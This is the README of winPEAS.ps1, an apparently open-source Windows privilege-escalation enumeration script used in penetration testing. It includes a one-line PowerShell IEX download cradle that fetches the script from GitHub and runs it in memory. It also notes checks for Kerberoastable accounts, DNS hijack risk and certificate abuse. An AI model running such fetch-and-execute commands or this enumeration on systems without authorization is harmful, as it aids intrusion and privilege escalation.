# Windows Privilege Escalation Awesome Script (.ps1)
![](https://github.com/peass-ng/PEASS-ng/raw/master/winPEAS/winPEASexe/images/winpeas.png)
**WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)**
Check also the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.wiki](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html)**
## Mantainer
The official **maintainer of this script is [RandolphConley](https://github.com/RandolphConley)**.
## Quick Start
Download the **[latest releas from here](https://github.com/peass-ng/PEASS-ng/releases/latest)**.
```bash
powershell "IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')"
```
## Recent Updates
- Added Active Directory awareness checks to highlight Kerberos-only environments (NTLM restrictions) and time skew issues before attempting ticket-based attacks.
- winPEAS.ps1 now reviews AD-integrated DNS ACLs to flag zones where low-privileged users can register/modify records (dynamic DNS hijack risk).
- Enumerates high-value SPN accounts and weak gMSA password readers so you can immediately target Kerberoastable admins or abused service accounts.
- Surfaces Schannel certificate mapping settings to warn about ESC10-style certificate abuse opportunities when UPN mapping is enabled.

All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only.
